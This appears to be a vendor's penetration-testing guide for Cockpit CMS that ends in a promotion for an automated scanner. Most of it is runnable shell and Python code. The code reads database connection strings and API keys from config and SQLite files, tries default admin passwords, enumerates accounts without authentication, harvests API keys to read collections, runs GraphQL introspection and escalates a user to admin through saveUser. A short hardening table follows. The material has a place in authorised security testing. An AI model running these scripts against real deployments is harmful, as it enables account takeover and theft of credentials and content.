Cockpit CMS Security Testing: Default Credentials, API Key, Database, and Headless CMS

Cockpit is a popular self-hosted headless CMS known for its simplicity and flexibility — developers use it to manage content for websites and applications. Key assessment areas: config/config.php exposes MongoDB connection strings or SQLite database paths; admin/admin is the common default credential; the REST API transmits API keys in cleartext query parameters; the /api/cockpit/accounts endpoint has historically returned all user data without authentication; and the GraphQL endpoint may be accessible without credentials. This guide covers systematic Cockpit CMS security assessment.

Table of Contents

  1. config.php Database Connection and API Key Extraction
  2. REST API Key Abuse and Unauthenticated Account Enumeration
  3. GraphQL Endpoint and Privilege Escalation Assessment
  4. Cockpit CMS Security Hardening

config.php Database Connection and API Key Extraction

# Cockpit CMS — config.php database connection and credential extraction
COCKPIT_URL="https://cms.example.com"

# config/config.php — Cockpit main configuration
cat /var/www/cockpit/config/config.php 2>/dev/null
# Returns PHP array:
# 'database' => [
#   'server' => 'mongodb://localhost:27017',  <-- MongoDB connection string
#   'dbname' => 'cockpitdb',
# ],
# OR for SQLite:
# 'database' => [
#   'server' => 'sqlite://path/to/db.sqlite'
# ]

# Check for MongoDB credentials in connection string
grep -E "mongodb://" /var/www/cockpit/config/config.php 2>/dev/null
# mongodb://user:password@localhost:27017/cockpit
# If credentials are present, extract them

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "cockpit:cockpit"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${COCKPIT_URL}/api/cockpit/authUser" \
    -H "Content-Type: application/json" \
    -d "{\"user\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "${USER}/${PASS}: $(echo $RESPONSE | python3 -c "import json,sys; d=json.load(sys.stdin); print('SUCCESS - token:', d.get('api_key','')[:20])" 2>/dev/null || echo "FAILED")"
done

# API keys stored in SQLite database
sqlite3 /var/www/cockpit/storage/db.sqlite 2>/dev/null \
  "SELECT user, api_key FROM cockpit_accounts;" 2>/dev/null

REST API Key Abuse and Unauthenticated Account Enumeration

# Cockpit CMS REST API — API key abuse and unauthenticated account enumeration
COCKPIT_URL="https://cms.example.com"

# Test unauthenticated access to accounts endpoint (critical vulnerability in older versions)
# CVE: Cockpit versions prior to 0.11.2 expose /api/cockpit/accounts without authentication
curl -s "${COCKPIT_URL}/api/cockpit/accounts" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if isinstance(d, list):
        print(f'VULNERABLE: {len(d)} accounts exposed without authentication')
        for acc in d[:5]:
            print(f'  User: {acc.get(\"user\")} | Email: {acc.get(\"email\")} | API key: {acc.get(\"api_key\",\"\")}')
    elif 'error' in str(d):
        print(f'Protected (error response)')
except: print('Parse error or not JSON')
" 2>/dev/null

# With extracted API key — access all collections
API_KEY="api-key-from-db-or-accounts-endpoint"

# List all collections
curl -s "${COCKPIT_URL}/api/collections/listCollections?token=${API_KEY}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'  {c}') for c in d]" 2>/dev/null

# Read collection entries
curl -s "${COCKPIT_URL}/api/collections/get/posts?token=${API_KEY}" 2>/dev/null | head -5

# Access singleton data
curl -s "${COCKPIT_URL}/api/singletons/listSingletons?token=${API_KEY}" 2>/dev/null

# List all users via admin API key
curl -s "${COCKPIT_URL}/api/cockpit/accounts?token=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for acc in d:
        print(f'  {acc.get(\"user\")} | {acc.get(\"email\")} | role={acc.get(\"role\")} | key={acc.get(\"api_key\",\"\")[:20]}')
except: pass
" 2>/dev/null

GraphQL Endpoint and Privilege Escalation Assessment

# Cockpit CMS — GraphQL endpoint and privilege escalation assessment
COCKPIT_URL="https://cms.example.com"

# Test unauthenticated GraphQL access
curl -s -X POST "${COCKPIT_URL}/api/gql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if 'data' in d:
        types = [t['name'] for t in d['data']['__schema']['types'] if not t['name'].startswith('__')]
        print('GraphQL accessible without auth!')
        print(f'Types: {types[:10]}')
    else:
        print(f'Auth required: {d}')
except: pass
" 2>/dev/null

# GraphQL query for content (if accessible)
curl -s -X POST "${COCKPIT_URL}/api/gql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ find(collection:\"posts\") }"}' 2>/dev/null | head -5

# Privilege escalation via saveUser (older Cockpit versions)
# In some versions, an authenticated user can escalate to admin via /api/cockpit/saveUser
TOKEN="user-api-token"
curl -s -X POST "${COCKPIT_URL}/api/cockpit/saveUser" \
  -H "Content-Type: application/json" \
  -H "Cockpit-Token: ${TOKEN}" \
  -d '{"user":{"_id":"current-user-id","role":"admin"}}' 2>/dev/null | head -3

# Check accessible storage directories for direct file access
for PATH_CHECK in "storage/tmp" "storage/cache" "storage/uploads"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${COCKPIT_URL}/${PATH_CHECK}/" 2>/dev/null)
  echo "/${PATH_CHECK}/: HTTP ${STATUS}"
done

Cockpit CMS Security Hardening

Cockpit CMS Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated /api/cockpit/accounts account enumerationGET /api/cockpit/accounts — all user records including API keys and password hashes returned without authentication in pre-0.11.2 versionsCritical
config.php MongoDB/SQLite connection string extractionRead config/config.php — database server URL with optional embedded credentials; SQLite path enabling direct file accessCritical
Admin credential brute-force (admin/admin)POST /api/cockpit/authUser — admin API key extraction; full content management and user admin accessHigh
REST API key query parameter logging and reuseAPI keys in URL query parameters (?token=KEY) appear in web server access logs — extract from logs for reuseHigh
GraphQL unauthenticated content access and introspectionPOST /api/gql — introspection reveals schema; content queries return all published and draft content without authenticationHigh

Automate Cockpit CMS Security Testing

Ironimo tests Cockpit CMS deployments for unauthenticated /api/cockpit/accounts account enumeration with API key extraction, config/config.php MongoDB/SQLite connection string disclosure, admin/admin credential brute-force, REST API key cleartext query parameter transmission and log extraction, GraphQL /api/gql unauthenticated access and introspection, storage/ directory web-accessible assessment, file upload PHP webshell upload testing, privilege escalation via /api/cockpit/saveUser role modification, and collection/singleton enumeration with extracted API keys.

Start free scan